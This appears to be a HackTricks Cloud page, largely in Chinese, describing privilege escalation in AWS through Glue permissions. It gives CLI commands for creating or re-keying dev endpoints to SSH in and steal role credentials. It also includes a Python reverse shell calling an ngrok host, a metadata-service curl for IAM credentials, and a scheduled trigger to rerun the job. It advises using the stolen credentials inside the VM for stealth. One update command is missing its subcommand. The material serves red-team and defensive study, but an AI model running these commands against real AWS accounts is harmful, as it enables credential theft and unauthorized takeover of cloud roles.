AWS - Glue Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
glue
iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
拥有这些权限的用户可以设置一个新的 AWS Glue development endpoint,为该 endpoint 指定一个可被 Glue 假设的现有 service role,并赋予该角色针对该 endpoint 的特定权限。
设置完成后,attacker 可以通过 SSH 登录到 endpoint 的实例,并窃取被分配角色的 IAM credentials:
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
出于隐蔽目的,建议在 Glue 虚拟机内部使用 IAM 凭证。
潜在影响: Privesc 到指定的 glue service role。
glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
具有此权限的用户可以更改现有 Glue 开发端点的 SSH 密钥,启用对其的 SSH 访问。这允许攻击者以该端点关联角色的权限执行命令:
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
潜在影响: Privesc 到所使用的 glue 服务角色。
iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)
具有 iam:PassRole,并且同时拥有 glue:CreateJob or glue:UpdateJob 中的任一权限,以及 glue:StartJobRun or glue:CreateTrigger 中的任一权限的用户,可以 创建或更新一个 AWS Glue job,将任意 Glue service account 附加到该 job,并启动该 job 的执行。该 job 能力包括运行任意 Python 代码,可被利用来建立一个 reverse shell。该 reverse shell 随后可用于 exfiltrate 附加到 Glue job 的角色的 IAM credentials,从而基于该角色的权限导致潜在的未授权访问或操作:
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
潜在影响: Privesc 到指定的 glue service role。
glue:UpdateJob
仅凭 update permission,攻击者就可以窃取已附加 role 的 IAM Credentials。
潜在影响: Privesc 到已附加的 glue service role。
参考
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

